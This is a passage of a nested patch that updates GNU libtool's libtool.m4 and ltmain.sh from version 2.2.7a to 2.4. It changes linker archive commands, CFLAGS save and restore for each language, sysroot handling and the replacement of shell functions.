+ if test "$with_gnu_ld" = no; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ else
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
+ fi
+ fi
+ _LT_TAGVAR(link_all_deplibs, $1)=yes
+@@ -6027,20 +6401,20 @@ if test "$_lt_caught_CXX_error" != yes; then
+ _LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
+- compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
++ compile_command="$compile_command `find $tpldir -name \*.o | sort | $NL2SP`"'
+ _LT_TAGVAR(old_archive_cmds, $1)='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
+- $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
++ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | sort | $NL2SP`~
+ $RANLIB $oldlib'
+ _LT_TAGVAR(archive_cmds, $1)='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
++ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+ _LT_TAGVAR(archive_expsym_cmds, $1)='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
++ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
+ ;;
+ *) # Version 6 and above use weak symbols
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+@@ -6235,7 +6609,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ *)
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ esac
+
+@@ -6281,7 +6655,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ _LT_TAGVAR(archive_cmds_need_lc,$1)=yes
+ _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs'
+@@ -6322,9 +6696,9 @@ if test "$_lt_caught_CXX_error" != yes; then
+ if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+ _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
+ if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+ _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+ # Commands to make compiler produce verbose output that lists
+ # what "hidden" libraries, object files and flags are used when
+@@ -6453,6 +6827,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+ fi # test -n "$compiler"
+
+ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ LDCXX=$LD
+ LD=$lt_save_LD
+ GCC=$lt_save_GCC
+@@ -6467,6 +6842,29 @@ AC_LANG_POP
+ ])# _LT_LANG_CXX_CONFIG
+
+
++# _LT_FUNC_STRIPNAME_CNF
++# ----------------------
++# func_stripname_cnf prefix suffix name
++# strip PREFIX and SUFFIX off of NAME.
++# PREFIX and SUFFIX must not contain globbing or regex special
++# characters, hashes, percent signs, but SUFFIX may contain a leading
++# dot (in which case that matches only a dot).
++#
++# This function is identical to the (non-XSI) version of func_stripname,
++# except this one can be used by m4 code that may be executed by configure,
++# rather than the libtool script.
++m4_defun([_LT_FUNC_STRIPNAME_CNF],[dnl
++AC_REQUIRE([_LT_DECL_SED])
++AC_REQUIRE([_LT_PROG_ECHO_BACKSLASH])
++func_stripname_cnf ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname_cnf
++])# _LT_FUNC_STRIPNAME_CNF
++
+ # _LT_SYS_HIDDEN_LIBDEPS([TAGNAME])
+ # ---------------------------------
+ # Figure out "hidden" library dependencies from verbose
+@@ -6475,6 +6873,7 @@ AC_LANG_POP
+ # objects, libraries and library flags.
+ m4_defun([_LT_SYS_HIDDEN_LIBDEPS],
+ [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
++AC_REQUIRE([_LT_FUNC_STRIPNAME_CNF])dnl
+ # Dependencies to place before and after the object being linked:
+ _LT_TAGVAR(predep_objects, $1)=
+ _LT_TAGVAR(postdep_objects, $1)=
+@@ -6525,6 +6924,13 @@ public class foo {
+ };
+ _LT_EOF
+ ])
++
++_lt_libdeps_save_CFLAGS=$CFLAGS
++case "$CC $CFLAGS " in #(
++*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
++*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
++esac
++
+ dnl Parse the compiler output and extract the necessary
+ dnl objects, libraries and library flags.
+ if AC_TRY_EVAL(ac_compile); then
+@@ -6536,7 +6942,7 @@ if AC_TRY_EVAL(ac_compile); then
+ pre_test_object_deps_done=no
+
+ for p in `eval "$output_verbose_link_cmd"`; do
+- case $p in
++ case ${prev}${p} in
+
+ -L* | -R* | -l*)
+ # Some compilers place space between "-{L,R}" and the path.
+@@ -6545,13 +6951,22 @@ if AC_TRY_EVAL(ac_compile); then
+ test $p = "-R"; then
+ prev=$p
+ continue
+- else
+- prev=
+ fi
+
++ # Expand the sysroot to ease extracting the directories later.
++ if test -z "$prev"; then
++ case $p in
++ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
++ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
++ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
++ esac
++ fi
++ case $p in
++ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
++ esac
+ if test "$pre_test_object_deps_done" = no; then
+- case $p in
+- -L* | -R*)
++ case ${prev} in
++ -L | -R)
+ # Internal compiler library paths should come after those
+ # provided the user. The postdeps already come after the
+ # user supplied libs so there is no need to process them.
+@@ -6571,8 +6986,10 @@ if AC_TRY_EVAL(ac_compile); then
+ _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}"
+ fi
+ fi
++ prev=
+ ;;
+
++ *.lto.$objext) ;; # Ignore GCC LTO objects
+ *.$objext)
+ # This assumes that the test object file only shows up
+ # once in the compiler output.
+@@ -6608,6 +7025,7 @@ else
+ fi
+
+ $RM -f confest.$objext
++CFLAGS=$_lt_libdeps_save_CFLAGS
+
+ # PORTME: override above test on systems where it is broken
+ m4_if([$1], [CXX],
+@@ -6644,7 +7062,7 @@ linux*)
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # The more standards-conforming stlport4 library is
+ # incompatible with the Cstd library. Avoid specifying
+ # it if it's in CXXFLAGS. Ignore libCrun as
+@@ -6757,7 +7175,9 @@ if test "$_lt_disable_F77" != yes; then
+ # Allow CC to be a program name with arguments.
+ lt_save_CC="$CC"
+ lt_save_GCC=$GCC
++ lt_save_CFLAGS=$CFLAGS
+ CC=${F77-"f77"}
++ CFLAGS=$FFLAGS
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_CC_BASENAME([$compiler])
+@@ -6811,6 +7231,7 @@ if test "$_lt_disable_F77" != yes; then
+
+ GCC=$lt_save_GCC
+ CC="$lt_save_CC"
++ CFLAGS="$lt_save_CFLAGS"
+ fi # test "$_lt_disable_F77" != yes
+
+ AC_LANG_POP
+@@ -6887,7 +7308,9 @@ if test "$_lt_disable_FC" != yes; then
+ # Allow CC to be a program name with arguments.
+ lt_save_CC="$CC"
+ lt_save_GCC=$GCC
++ lt_save_CFLAGS=$CFLAGS
+ CC=${FC-"f95"}
++ CFLAGS=$FCFLAGS
+ compiler=$CC
+ GCC=$ac_cv_fc_compiler_gnu
+
+@@ -6943,7 +7366,8 @@ if test "$_lt_disable_FC" != yes; then
+ fi # test -n "$compiler"
+
+ GCC=$lt_save_GCC
+- CC="$lt_save_CC"
++ CC=$lt_save_CC
++ CFLAGS=$lt_save_CFLAGS
+ fi # test "$_lt_disable_FC" != yes
+
+ AC_LANG_POP
+@@ -6980,10 +7404,12 @@ _LT_COMPILER_BOILERPLATE
+ _LT_LINKER_BOILERPLATE
+
+ # Allow CC to be a program name with arguments.
+-lt_save_CC="$CC"
++lt_save_CC=$CC
++lt_save_CFLAGS=$CFLAGS
+ lt_save_GCC=$GCC
+ GCC=yes
+ CC=${GCJ-"gcj"}
++CFLAGS=$GCJFLAGS
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_TAGVAR(LD, $1)="$LD"
+@@ -7014,7 +7440,8 @@ fi
+ AC_LANG_RESTORE
+
+ GCC=$lt_save_GCC
+-CC="$lt_save_CC"
++CC=$lt_save_CC
++CFLAGS=$lt_save_CFLAGS
+ ])# _LT_LANG_GCJ_CONFIG
+
+
+@@ -7049,9 +7476,11 @@ _LT_LINKER_BOILERPLATE
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC="$CC"
++lt_save_CFLAGS=$CFLAGS
+ lt_save_GCC=$GCC
+ GCC=
+ CC=${RC-"windres"}
++CFLAGS=
+ compiler=$CC
+ _LT_TAGVAR(compiler, $1)=$CC
+ _LT_CC_BASENAME([$compiler])
+@@ -7064,7 +7493,8 @@ fi
+
+ GCC=$lt_save_GCC
+ AC_LANG_RESTORE
+-CC="$lt_save_CC"
++CC=$lt_save_CC
++CFLAGS=$lt_save_CFLAGS
+ ])# _LT_LANG_RC_CONFIG
+
+
+@@ -7123,6 +7553,15 @@ _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper])
+ AC_SUBST([OBJDUMP])
+ ])
+
++# _LT_DECL_DLLTOOL
++# ----------------
++# Ensure DLLTOOL variable is set.
++m4_defun([_LT_DECL_DLLTOOL],
++[AC_CHECK_TOOL(DLLTOOL, dlltool, false)
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++_LT_DECL([], [DLLTOOL], [1], [DLL creation program])
++AC_SUBST([DLLTOOL])
++])
+
+ # _LT_DECL_SED
+ # ------------
+@@ -7216,8 +7655,8 @@ m4_defun([_LT_CHECK_SHELL_FEATURES],
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -7256,206 +7695,162 @@ _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl
+ ])# _LT_CHECK_SHELL_FEATURES
+
+
+-# _LT_PROG_XSI_SHELLFNS
+-# ---------------------
+-# Bourne and XSI compatible variants of some useful shell functions.
+-m4_defun([_LT_PROG_XSI_SHELLFNS],
+-[case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $[*] ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
++# _LT_PROG_FUNCTION_REPLACE (FUNCNAME, REPLACEMENT-BODY)
++# ------------------------------------------------------
++# In `$cfgfile', look for function FUNCNAME delimited by `^FUNCNAME ()$' and
++# '^} FUNCNAME ', and replace its body with REPLACEMENT-BODY.
++m4_defun([_LT_PROG_FUNCTION_REPLACE],
++[dnl {
++sed -e '/^$1 ()$/,/^} # $1 /c\
++$1 ()\
++{\
++m4_bpatsubsts([$2], [$], [\\], [^\([ ]\)], [\\\1])
++} # Extended-shell $1 implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++])
+
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
++# _LT_PROG_REPLACE_SHELLFNS
++# -------------------------
++# Replace existing portable implementations of several shell functions with
++# equivalent extended shell implementations where those features are available..
++m4_defun([_LT_PROG_REPLACE_SHELLFNS],
++[if test x"$xsi_shell" = xyes; then
++ _LT_PROG_FUNCTION_REPLACE([func_dirname], [dnl
++ case ${1} in
++ */*) func_dirname_result="${1%/*}${2}" ;;
++ * ) func_dirname_result="${3}" ;;
++ esac])
++
++ _LT_PROG_FUNCTION_REPLACE([func_basename], [dnl
++ func_basename_result="${1##*/}"])
++
++ _LT_PROG_FUNCTION_REPLACE([func_dirname_and_basename], [dnl
++ case ${1} in
++ */*) func_dirname_result="${1%/*}${2}" ;;
++ * ) func_dirname_result="${3}" ;;
++ esac
++ func_basename_result="${1##*/}"])
+
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_stripname], [dnl
++ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
++ # positional parameters, so assign one to ordinary parameter first.
++ func_stripname_result=${3}
++ func_stripname_result=${func_stripname_result#"${1}"}
++ func_stripname_result=${func_stripname_result%"${2}"}])
+
+-dnl func_dirname_and_basename
+-dnl A portable version of this function is already defined in general.m4sh
+-dnl so there is no need for it here.
++ _LT_PROG_FUNCTION_REPLACE([func_split_long_opt], [dnl
++ func_split_long_opt_name=${1%%=*}
++ func_split_long_opt_arg=${1#*=}])
+
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_split_short_opt], [dnl
++ func_split_short_opt_arg=${1#??}
++ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}])
+
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[[^=]]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[[^=]]*=//'
++ _LT_PROG_FUNCTION_REPLACE([func_lo2o], [dnl
++ case ${1} in
++ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
++ *) func_lo2o_result=${1} ;;
++ esac])
+
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_xform], [ func_xform_result=${1%.*}.lo])
+
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_arith], [ func_arith_result=$(( $[*] ))])
+
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[[^.]]*$/.lo/'`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_len], [ func_len_result=${#1}])
++fi
+
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$[@]"`
+-}
++if test x"$lt_shell_append" = xyes; then
++ _LT_PROG_FUNCTION_REPLACE([func_append], [ eval "${1}+=\\${2}"])
+
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$[1]" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
++ _LT_PROG_FUNCTION_REPLACE([func_append_quoted], [dnl
++ func_quote_for_eval "${2}"
++dnl m4 expansion turns \\\\ into \\, and then the shell eval turns that into \
++ eval "${1}+=\\\\ \\$func_quote_for_eval_result"])
+
+-_LT_EOF
+-esac
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
+
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
++if test x"$_lt_function_replace_fail" = x":"; then
++ AC_MSG_WARN([Unable to substitute extended shell functions in $ofile])
++fi
++])
+
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$[1]+=\$[2]"
+-}
+-_LT_EOF
++# _LT_PATH_CONVERSION_FUNCTIONS
++# -----------------------------
++# Determine which file name conversion functions should be used by
++# func_to_host_file (and, implicitly, by func_to_host_path). These are needed
++# for certain cross-compile configurations and native mingw.
++m4_defun([_LT_PATH_CONVERSION_FUNCTIONS],
++[AC_REQUIRE([AC_CANONICAL_HOST])dnl
++AC_REQUIRE([AC_CANONICAL_BUILD])dnl
++AC_MSG_CHECKING([how to convert $build file names to $host format])
++AC_CACHE_VAL(lt_cv_to_host_file_cmd,
++[case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
+ ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$[1]=\$$[1]\$[2]"
+-}
+-
+-_LT_EOF
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
+ ;;
+- esac
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++])
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++AC_MSG_RESULT([$lt_cv_to_host_file_cmd])
++_LT_DECL([to_host_file_cmd], [lt_cv_to_host_file_cmd],
++ [0], [convert $build file names to $host format])dnl
++
++AC_MSG_CHECKING([how to convert $build file names to toolchain format])
++AC_CACHE_VAL(lt_cv_to_tool_file_cmd,
++[#assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
+ ])
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++AC_MSG_RESULT([$lt_cv_to_tool_file_cmd])
++_LT_DECL([to_tool_file_cmd], [lt_cv_to_tool_file_cmd],
++ [0], [convert $build files to toolchain format])dnl
++])# _LT_PATH_CONVERSION_FUNCTIONS
+diff --git a/ltmain.sh b/ltmain.sh
+index 9503ec85d70..70e856e0659 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -1,10 +1,9 @@
+-# Generated from ltmain.m4sh.
+
+-# libtool (GNU libtool 1.3134 2009-11-29) 2.2.7a
++# libtool (GNU libtool) 2.4
+ # Written by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
+
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, 2006,
+-# 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2007, 2008, 2009, 2010 Free Software Foundation, Inc.
+ # This is free software; see the source for copying conditions. There is NO
+ # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+@@ -38,7 +37,6 @@
+ # -n, --dry-run display commands without modifying any files
+ # --features display basic configuration information and exit
+ # --mode=MODE use operation mode MODE
+-# --no-finish let install mode avoid finish commands
+ # --preserve-dup-deps don't remove duplicate dependency libraries
+ # --quiet, --silent don't print informational messages
+ # --no-quiet, --no-silent
+@@ -71,17 +69,19 @@
+ # compiler: $LTCC
+ # compiler flags: $LTCFLAGS
+ # linker: $LD (gnu? $with_gnu_ld)
+-# $progname: (GNU libtool 1.3134 2009-11-29) 2.2.7a
++# $progname: (GNU libtool) 2.4
+ # automake: $automake_version
+ # autoconf: $autoconf_version
+ #
+ # Report bugs to <bug-libtool@gnu.org>.
++# GNU libtool home page: <http://www.gnu.org/software/libtool/>.
++# General help using GNU software: <http://www.gnu.org/gethelp/>.
+
+ PROGRAM=libtool
+ PACKAGE=libtool
+-VERSION=2.2.7a
+-TIMESTAMP=" 1.3134 2009-11-29"
+-package_revision=1.3134
++VERSION=2.4
++TIMESTAMP=""
++package_revision=1.3293
+
+ # Be Bourne compatible
+ if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+@@ -106,9 +106,6 @@ _LTECHO_EOF'
+ }
+
+ # NLS nuisances: We save the old values to restore during execute mode.
+-# Only set LANG and LC_ALL to C if already set.
+-# These must not be set unconditionally because not all systems understand
+-# e.g. LANG=C (notably SCO).
+ lt_user_locale=
+ lt_safe_locale=
+ for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES
+@@ -121,15 +118,13 @@ do
+ lt_safe_locale=\"$lt_var=C; \$lt_safe_locale\"
+ fi"
+ done
++LC_ALL=C
++LANGUAGE=C
++export LANGUAGE LC_ALL
+
+ $lt_unset CDPATH
+
+
+-
+-
+-
+-
+-
+ # Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh
+ # is ksh but when the shell is invoked as "sh" and the current value of
+ # the _XPG environment variable is not equal to 1 (one), the special
+@@ -140,7 +135,7 @@ progpath="$0"
+
+
+ : ${CP="cp -f"}
+-: ${ECHO=$as_echo}
++test "${ECHO+set}" = set || ECHO=${as_echo-'printf %s\n'}
+ : ${EGREP="/bin/grep -E"}
+ : ${FGREP="/bin/grep -F"}
+ : ${GREP="/bin/grep"}
+@@ -149,7 +144,7 @@ progpath="$0"
+ : ${MKDIR="mkdir"}
+ : ${MV="mv -f"}
+ : ${RM="rm -f"}
+-: ${SED="/mount/endor/wildenhu/local-x86_64/bin/sed"}
++: ${SED="/bin/sed"}
